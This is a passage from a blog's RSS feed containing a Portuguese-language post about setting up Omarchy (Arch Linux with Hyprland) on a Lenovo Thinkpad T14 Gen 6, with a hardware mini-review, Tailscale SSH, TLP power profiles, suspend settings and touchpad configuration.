]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>seguranca</category><category>hardware</category></item><item><title>Omarchy no Thinkpad T14 Gen 6: Mini-Review e Setup Completo</title><link>https://www.akitaonrails.com/2026/04/18/omarchy-no-thinkpad-t14-gen-6/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/04/18/omarchy-no-thinkpad-t14-gen-6/</guid><pubDate>Sat, 18 Apr 2026 08:30:00 -0300</pubDate><description>&lt;p&gt;&lt;img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 fechado ao lado do carregador USB-C" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Comprei um Lenovo Thinkpad T14 Gen 6 e instalei Omarchy em cima. Não é minha máquina principal, nem pretende ser. É companion: um notebook pra abrir em cima da mesa do escritório de impressão 3D, dar um SSH no desktop, chamar Claude Code, acessar arquivos no NAS, debugar rede pelo ethernet sem ficar procurando adaptador USB e cabo longo. Esse artigo cobre a escolha do hardware, o setup de Omarchy em cima, as customizações específicas pra notebook e pra esse Thinkpad em particular, e as decisões de arquitetura que podem não ser óbvias.&lt;/p&gt;</description><content:encoded><![CDATA[<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/closed-lid.jpg" alt="Thinkpad T14 Gen 6 fechado ao lado do carregador USB-C"  loading="lazy" /></p>
<p>Comprei um Lenovo Thinkpad T14 Gen 6 e instalei Omarchy em cima. Não é minha máquina principal, nem pretende ser. É companion: um notebook pra abrir em cima da mesa do escritório de impressão 3D, dar um SSH no desktop, chamar Claude Code, acessar arquivos no NAS, debugar rede pelo ethernet sem ficar procurando adaptador USB e cabo longo. Esse artigo cobre a escolha do hardware, o setup de Omarchy em cima, as customizações específicas pra notebook e pra esse Thinkpad em particular, e as decisões de arquitetura que podem não ser óbvias.</p>
<h2>Mini-review do Thinkpad T14 Gen 6<span class="hx:absolute hx:-mt-20" id="mini-review-do-thinkpad-t14-gen-6"></span>
    <a href="#mini-review-do-thinkpad-t14-gen-6" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-turned-off.jpg" alt="Thinkpad T14 Gen 6 aberto, tela desligada, mostrando o teclado e o selo do Intel Core Ultra 5"  loading="lazy" /></p>
<p>Vamos tirar do caminho: esse não é o notebook dos sonhos. Se eu fosse escolher por estética, pegaria um Asus Zenbook S 14 com tela OLED. Se fosse por portabilidade, o Thinkpad T14s com casca de alumínio, que é mais leve e muito mais bonito. O T14 regular tem tela IPS 1920x1200 de 14&quot;, 400 nits, 60Hz, sem HDR. Dá pro gasto, mas está longe da tela do Zenbook. A casca é de plástico com um acabamento emborrachado, o que deixa ele resistente a arranhão, mas não é premium. Revisões da <a href="https://www.notebookcheck.net/AMD-Ryzen-AI-meets-classic-ThinkPad-Lenovo-ThinkPad-T14-Gen-6-AMD-laptop-review.1222690.0.html"target="_blank" rel="noopener">NotebookCheck</a> e da <a href="https://www.xda-developers.com/lenovo-thinkpad-t14-gen-6-review/"target="_blank" rel="noopener">XDA Developers</a> batem na mesma tecla: bom custo, boa conectividade, desempenho adequado pra escritório, mas a tela é datada.</p>
<p>O que compensa:</p>
<ul>
<li>Seleção de portas. HDMI full-size. Ethernet gigabit. USB-A, USB-C Thunderbolt 4, carrega pelo USB-C (não é carregador proprietário). Pra um companion de debug, isso é exatamente o que eu queria. O Zenbook S 14, por ser mais fino, corta portas.</li>
<li>Sensor de digital funcional no Linux (Goodix MOC, funciona com libfprint em kernel 6.11+). Isso eu uso, detalho mais à frente.</li>
<li>Teclado Thinkpad. Curso de tecla de 1.5mm, trackpoint, layout clássico. Não é o melhor teclado do mundo em 2026, mas é confiável e durável.</li>
<li>Carcaça rugged. Vai cair, vai arranhar, vai viajar na mala. Se eu colocasse um Zenbook OLED ou um Macbook Pro em cima da mesa do escritório de impressão 3D, ao lado da impressora, com poeira de PLA voando, eu ficaria nervoso. O Thinkpad pode levar porrada.</li>
</ul>
<p>Se eu quisesse máquina de jogo, pegaria um Asus Zephyrus G14, meu favorito de notebook gamer. Se eu quisesse máquina de trabalho criativo, pegaria o <a href="https://www.asus.com/laptops/for-home/zenbook/zenbook-duo-ux8406/"target="_blank" rel="noopener">Asus Zenbook Duo (UX8406)</a> com duas telas OLED verticais, ótimo pra edição de vídeo e modelagem 3D. Tenho grana pra qualquer Macbook Pro ou Mac Studio, e escolhi não ir por esse caminho. Explico melhor na próxima seção.</p>
<h2>Meu caso de uso<span class="hx:absolute hx:-mt-20" id="meu-caso-de-uso"></span>
    <a href="#meu-caso-de-uso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-fastfetch.jpg" alt="Thinkpad aberto numa bancada do escritório de impressão 3D, com fastfetch mostrando Omarchy no terminal"  loading="lazy" /></p>
<p>Meu PC principal é um desktop com Ryzen 9 7950X3D, 96 GB de RAM, RTX 5090 de 32 GB. É onde eu trabalho, experimento com modelos locais, rodo containers, edito o blog. Pra jogo, tenho um mini-PC separado com RTX 4090. Esses dois atendem 100% do que eu preciso fazer em casa.</p>
<p>O notebook existe pra cobrir o 1% restante: sentar no sofá, levar no escritório de impressão 3D, levar na cozinha, levar em viagem curta. Não é pra substituir o desktop. É pra ter acesso remoto ao desktop quando eu estiver longe dele.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/ssh-to-remote-desktop-on-left.png" alt="Hyprland com dois terminais lado a lado: à esquerda SSH pro desktop principal (96 GB, RTX 5090), à direita o próprio Thinkpad. Mesma UI, duas máquinas."  loading="lazy" /></p>
<p>Na prática fica assim: abro o notebook, dou split no Hyprland, janela da esquerda dá SSH no desktop principal, janela da direita é o próprio notebook. Mesmo Omarchy nos dois, mesmos atalhos, mesmo bash. O notebook vira extensão do desktop, não um ambiente paralelo que eu tenho que reconfigurar na cabeça toda vez que alterno.</p>
<h3>SSH fora de casa: Tailscale<span class="hx:absolute hx:-mt-20" id="ssh-fora-de-casa-tailscale"></span>
    <a href="#ssh-fora-de-casa-tailscale" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Dentro da rede local, SSH é trivial, o notebook fala com o desktop via IP interno. Fora de casa é outra história. Meu IP doméstico é dinâmico, abrir porta 22 pra internet é péssima ideia, e mesmo com DDNS e port forwarding você está colocando SSH na cara da internet pra qualquer scanner achar.</p>
<p>A solução que uso é <a href="https://tailscale.com/"target="_blank" rel="noopener">Tailscale</a>. Pra quem não conhece: Tailscale é uma mesh VPN baseada no WireGuard, que cria uma rede privada entre seus dispositivos (o &ldquo;tailnet&rdquo;). Cada máquina roda o agente, autentica uma vez, e passa a ter um IP fixo na rede privada (tipo 100.x.y.z). O tráfego entre seus próprios dispositivos vai direto peer-to-peer, cifrado pelo WireGuard. Não passa por servidor central da Tailscale, eles só coordenam NAT traversal. Resultado: do meu notebook num café em qualquer lugar do mundo, eu dou <code>ssh hal9000</code> e caio no desktop de casa como se estivesse na mesma rede.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/tailscale-machines.png" alt="Painel admin da Tailscale mostrando as duas máquinas do meu tailnet, hal9000 (desktop) e hal9666 (thinkpad), ambas com SSH habilitado"  loading="lazy" /></p>
<p>Existem opções mais sofisticadas: <a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/"target="_blank" rel="noopener">Cloudflare Tunnel</a> com Zero Trust pra expor serviços publicamente com autenticação SSO, headscale self-hosted, WireGuard cru com config manual, Nebula, OpenVPN. Cada uma tem seu caso de uso. Se você precisa expor serviços pra terceiros, controlar acesso granular por identidade, rodar a infraestrutura inteira em casa sem depender de terceiros, essas opções ganham. No meu caso, é só notebook falando com desktop, por períodos curtos (não é trabalho de uma semana inteira, é debug rápido de fim de semana), então Tailscale grátis resolve. O tier free aceita até 100 dispositivos e 3 usuários, muito mais do que eu preciso.</p>
<p>Setup é o mais simples possível:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># No Arch/Omarchy</span>
</span></span><span class="line"><span class="cl">sudo pacman -S tailscale
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tailscaled.service
</span></span><span class="line"><span class="cl">sudo tailscale up --ssh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A flag <code>--ssh</code> ativa o <a href="https://tailscale.com/kb/1193/tailscale-ssh/"target="_blank" rel="noopener">Tailscale SSH</a>, que faz autenticação via identidade da tailnet em vez de chave SSH local. Uma vez fez login via browser no tailscale, cada máquina registrada pode entrar nas outras com base em política de ACL definida no painel admin. Zero key management.</p>
<p>Repito no desktop, faço login com a mesma conta, e pronto. As duas máquinas aparecem no painel (hal9000 e hal9666 na screenshot acima, com SSH habilitado nas duas). Do notebook: <code>ssh hal9000</code>. Do desktop pro notebook: <code>ssh hal9666</code>. Sem port forward, sem IP público, sem expor porta 22 pra internet. Se o notebook for roubado, eu removo ele do tailnet num clique.</p>
<p>Um detalhe prático: como o tailnet dá nome estável, eu adicionei entradas no <code>~/.ssh/config</code> pra usar esses nomes curtos:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Host hal9000
  HostName hal9000
  User akitaonrails</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Assim <code>ssh hal9000</code> funciona de qualquer lugar que tenha Tailscale conectado. É a solução mais próxima de &ldquo;it just works&rdquo; que já vi pra SSH remoto.</p>
<h3>Por que não um Mac<span class="hx:absolute hx:-mt-20" id="por-que-não-um-mac"></span>
    <a href="#por-que-n%c3%a3o-um-mac" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu não tenho uso pro macOS. Como dev, eu vivo melhor em Linux nativo. Toda ferramenta que eu preciso tem versão Linux de primeira, e no macOS eu teria versão de segunda via Homebrew. Não faço iOS, então não preciso do XCode. Pra mobile uso Flutter ou Hotwire Native, que rodam em qualquer OS. iTerm2 e Ghostty no Mac são bons, mas Alacritty, Kitty e o próprio Ghostty no Linux me atendem igual. Todo software bom chega primeiro no Linux, daí é portado pros outros. Arch com AUR cobre tudo num único <code>yay</code>.</p>
<p>Pra trabalho criativo, faz anos que não faço profissionalmente. DaVinci Resolve Studio no Linux é superior ao Final Cut Pro. Krita ou Affinity Photo substituem Photoshop na maioria dos casos. Clip Studio Paint no Android é superior ao Procreate. Eu simplesmente não tenho um workflow que depende da Apple, e a App Store me irrita.</p>
<p>Pra jogo, Mac é terrível. Apple Silicon tem GPU boa pra algumas coisas, mas a biblioteca de jogo pro macOS nativo é pífia comparada com Windows ou Linux. Game Porting Toolkit existe, CrossOver existe, mas pra quem joga sério, não serve. Eu não vou jogar no Thinkpad, pra isso tenho o desktop principal e o mini-PC com RTX 4090, mas se um dia bater vontade de rodar um Hollow Knight ou um indie num trem, é só instalar Steam e deixar o Proton fazer o trabalho. Linux virou plataforma de jogo de verdade nos últimos anos, com Proton/DXVK rodando quase todo o catálogo da Steam (checa <a href="https://www.protondb.com/"target="_blank" rel="noopener">ProtonDB</a>). Inclusive documentei recentemente como <a href="/2026/04/11/distrobox-de-emulacao-com-claude-code/">rodei minha biblioteca de emulação em distrobox</a> sem poluir o sistema host. Com Mac, essas opções não existem.</p>
<p>Outro argumento que sempre aparece: &ldquo;mas um Mac Mini M4 ou Mac Studio com 128GB de memória unificada roda modelos grandes localmente, é o substituto do ChatGPT&rdquo;. Já testei essa tese e escrevi um <a href="/2026/04/05/testando-llms-open-source-e-comerciais-quem-consegue-bater-o-claude-opus/">benchmark detalhado</a>. A conclusão: hardware local caro pra rodar LLM é hobby de fim de semana, não é ferramenta de produção. Os modelos open source que cabem não entregam a qualidade que o Claude Opus entrega. Eu tenho um <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">home server com AMD Strix Halo e 96 GB de RAM unificada</a>, rodei modelos por dezenas de horas, e no meu fluxo real de programação eles servem pra tarefas simples. Pras tarefas complexas, Claude Opus. Antes de gastar os $4000 num Mac Studio com a justificativa de rodar modelos locais, faça o teste de verdade. Você provavelmente vai voltar a pagar Opus depois.</p>
<h2>Por que Omarchy<span class="hx:absolute hx:-mt-20" id="por-que-omarchy"></span>
    <a href="#por-que-omarchy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Eu uso Omarchy no desktop há meses e documentei o caminho numa <a href="/tags/omarchy/">série de artigos</a>. O <a href="/2025/08/29/new-omarchy-2-0-install/">Omarchy 2.0</a> tem instalador próprio com LUKS, Btrfs, Limine, snapper e SDDM já configurados. Escrevi sobre <a href="/2025/09/12/omarchy-2-0-instale-com-a-iso-do-omarchy/">usar a ISO oficial</a>, sobre as <a href="/2025/09/07/omarchy-2-0-zsh-configs/">customizações de ZSH</a> com atuin, starship, secrets bem organizados, sobre <a href="/2025/09/07/omarchy-2-0-mise-pra-organizar-ambientes-de-desenvolvimento/">Mise pra múltiplas linguagens</a>, sobre <a href="/2025/09/07/omarchy-2-0-lazyvim-lazyextras/">LazyVim e LazyExtras</a>, sobre <a href="/2025/09/09/omarchy-2-0-entendendo-ssh-e-yubikeys/">SSH e Yubikeys</a>, sobre <a href="/2025/09/09/omarchy-2-0-tuis/">TUIs modernas</a>. Também tem o <a href="/2026/01/21/omarchy-3-setup-de-dual-gpus-com-amd-e-nvidia/">Omarchy 3 com dual GPU AMD + NVIDIA</a> e o <a href="/2026/01/09/omarchy-3-um-dos-melhores-agentes-pra-programacao-crush/">Crush</a> como agente de coding.</p>
<p>Pra quem não conhece: Omarchy é Arch Linux puro com uma camada de cosmética em cima do Hyprland/Wayland. Pré-configurado com defaults sãos. Eu podia montar tudo isso do zero, já fiz isso várias vezes na vida, mas por que refazer trabalho que alguém já fez bem feito? Instalo Omarchy, faço os tweaks que são meus em cima, e tenho Arch customizado numa fração do tempo.</p>
<p>Um ponto que eu levanto toda vez que recomendo Omarchy: a documentação é excelente. Tem um <a href="https://manuals.omamix.org/2/the-omarchy-manual"target="_blank" rel="noopener">manual oficial</a> que cobre desde instalação até customização de tema, keybindings, Hyprland, Waybar, tudo. Se você vem de Ubuntu ou Fedora e tem receio de Arch, esse manual resolve o grosso das dúvidas. Pra quem nunca tocou em Hyprland, abre ele e vai tangenciando. Não é um README jogado no GitHub, é manual de verdade, com capítulos e índice.</p>
<p>A história desse artigo começa num fio anterior. Eu migrei meu home server recentemente, trocando um servidor Ubuntu antigo por um <a href="/2026/03/31/migrando-meu-home-server-com-claude-code/">Minisforum MS-S1 com openSUSE MicroOS configurado com Claude Code</a>. Esse foi o primeiro experimento sério de deixar o Claude Code guiar uma migração de infra inteira, com containers, NFS, serviços, networking. Deu certo. E deixou no ar a ideia: por que não usar a mesma abordagem pra configurar um notebook novo?</p>
<p>Foi o que fiz. Peguei o Thinkpad, baixei a ISO do Omarchy mais recente, gravei num pendrive, instalei por cima do Windows. Do zero ao desktop funcional, menos de uma hora. Dali pra frente, tudo é tweaking, que eu fui documentando conforme fazia.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/open-lid-claude-terminal.jpg" alt="Claude Code rodando no terminal do Thinkpad, pronto pra começar a configurar o notebook"  loading="lazy" /></p>
<p>Vou detalhar as duas camadas de customização: o que precisa pra um notebook qualquer, e o que é específico desse Thinkpad.</p>
<h2>Configs específicos de notebook<span class="hx:absolute hx:-mt-20" id="configs-específicos-de-notebook"></span>
    <a href="#configs-espec%c3%adficos-de-notebook" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Um notebook tem problemas que um desktop não tem: bateria, suspensão, tampa, brilho, trackpad. Essas são as partes que Omarchy default não cobre do jeito que eu quero.</p>
<h3>Power management com TLP<span class="hx:absolute hx:-mt-20" id="power-management-com-tlp"></span>
    <a href="#power-management-com-tlp" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O default do Omarchy vem com <code>power-profiles-daemon</code>. Troquei por TLP, que dá controle granular de CPU scaling, thresholds de bateria e perfil dinâmico baseado em AC vs bateria.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S tlp tlp-rdw
</span></span><span class="line"><span class="cl">sudo systemctl mask power-profiles-daemon.service
</span></span><span class="line"><span class="cl">sudo systemctl <span class="nb">enable</span> --now tlp.service</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O <code>mask</code> é necessário porque o upower traz o <code>power-profiles-daemon</code> de volta se você só der <code>disable</code>.</p>
<p>Thresholds de carga: 60% pra começar, 85% pra parar. O notebook fica a maior parte do tempo plugado na mesa do escritório, e manter a bateria em 100% 24/7 detona a capacidade ao longo do tempo. Com 60/85, a bateria passa a maior parte do tempo na faixa saudável de lítio e ainda sobra capacidade útil decente.</p>
<p>Perfis: <code>balanced</code> com <code>balance_power</code> na bateria, <code>performance</code> no AC. O <code>low-power</code> do TLP era agressivo demais no Core Ultra 5 235U, a resposta de janela e terminal ficava perceptível. Balanced dá a melhor relação consumo/responsividade pra uso normal.</p>
<p>Tem uma pegadinha: <code>tlp auto</code> depois de <code>tlp ac</code> nem sempre reaplica o perfil de bateria. Criei um pequeno script ligado ao <code>Super+Ctrl+P</code> que lê o estado atual e chama <code>tlp bat</code> ou <code>tlp ac</code> explicitamente:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nb">set</span> -euo pipefail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">profile</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null <span class="o">||</span> <span class="nb">echo</span> unknown<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">on_ac</span><span class="o">=</span><span class="k">$(</span>cat /sys/class/power_supply/AC*/online 2&gt;/dev/null <span class="p">|</span> head -1 <span class="o">||</span> <span class="nb">echo</span> 0<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$profile</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;performance&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$on_ac</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;1&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp auto &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;Plugged in — back to AC auto&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    sudo /usr/bin/tlp bat &gt;/dev/null
</span></span><span class="line"><span class="cl">    <span class="nv">label</span><span class="o">=</span><span class="s2">&#34;On battery — normal profile&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: off&#34;</span> <span class="s2">&#34;</span><span class="nv">$label</span><span class="s2">&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  sudo /usr/bin/tlp ac &gt;/dev/null
</span></span><span class="line"><span class="cl">  notify-send -t <span class="m">2000</span> <span class="s2">&#34;Performance mode: on&#34;</span> <span class="s2">&#34;Forcing AC profile&#34;</span> 2&gt;/dev/null <span class="o">||</span> <span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No waybar, um módulo custom <code>custom/perf</code> mostra o estado atual (󰓅 PERF, 󰌪 ECO, ou vazio pra balanced) e aceita clique pra alternar. O script de output é bem curto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nv">p</span><span class="o">=</span><span class="k">$(</span>cat /sys/firmware/acpi/platform_profile 2&gt;/dev/null<span class="k">)</span>
</span></span><span class="line"><span class="cl"><span class="k">case</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> in
</span></span><span class="line"><span class="cl">  performance<span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;󰓅 PERF&#39;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  low-power<span class="o">)</span>   <span class="nb">printf</span> <span class="s1">&#39;󰌪 ECO&#39;</span>  <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  balanced<span class="p">|</span><span class="s2">&#34;&#34;</span><span class="o">)</span> <span class="nb">printf</span> <span class="s1">&#39;&#39;</span>       <span class="p">;;</span>
</span></span><span class="line"><span class="cl">  *<span class="o">)</span>           <span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="nv">$p</span><span class="s2">&#34;</span> <span class="p">;;</span>
</span></span><span class="line"><span class="cl"><span class="k">esac</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Suspend, hibernate, e tampa<span class="hx:absolute hx:-mt-20" id="suspend-hibernate-e-tampa"></span>
    <a href="#suspend-hibernate-e-tampa" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Isso aqui é o que mudou em relação aos notebooks que eu usava em 2015. O T14 Gen 6 fecha a tampa, suspende, e acorda quando você abre de novo. Sem bug, sem delay estranho, sem precisar dar login de novo no meio da sessão gráfica. O hyprlock pega depois do suspend, aceita digital ou senha, e volta pro desktop em segundos. Isso é o comportamento que a gente tem na Apple há anos e que no Linux era uma aventura. Em 2026, em hardware moderno com kernel 6.11+, simplesmente funciona.</p>
<p>Mem sleep mode é s2idle (sem deep sleep). Hibernação habilitada via swapfile Btrfs de ~30 GB e <code>resume=/dev/mapper/root resume_offset=...</code> no kernel cmdline do Limine. Raramente uso, mas está lá.</p>
<p>O hypridle tem timeouts agressivos pra notebook:</p>
<ul>
<li>2.5 min → screensaver</li>
<li>5 min → lock</li>
<li>5.5 min → DPMS off + keyboard backlight off</li>
</ul>
<p>Depois de trancado, passa mais 5 min e a tela apaga de vez. No unlock, restaura brilho de tela e de teclado pro nível anterior. Essas timings são muito mais curtas que as do desktop (20-40 min lá). A diferença de bateria ao longo do dia é mensurável.</p>
<h3>Brilho e backlight de teclado<span class="hx:absolute hx:-mt-20" id="brilho-e-backlight-de-teclado"></span>
    <a href="#brilho-e-backlight-de-teclado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><code>brightnessctl</code> controla os dois. Fn+Space alterna o backlight do teclado em três níveis. Hypridle salva o nível atual antes de apagar e restaura no retorno. Comando que uso no script:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">brightnessctl -sd <span class="s1">&#39;*::kbd_backlight&#39;</span> <span class="nb">set</span> <span class="m">0</span>    <span class="c1"># salva e desliga</span>
</span></span><span class="line"><span class="cl">brightnessctl -rd <span class="s1">&#39;*::kbd_backlight&#39;</span>          <span class="c1"># restaura</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Touchpad<span class="hx:absolute hx:-mt-20" id="touchpad"></span>
    <a href="#touchpad" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No <code>hypr/input.conf</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>touchpad {
    natural_scroll = true
    clickfinger_behavior = true
    disable_while_typing = true
    scroll_factor = 0.4
}
gesture = 3, horizontal, workspace</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
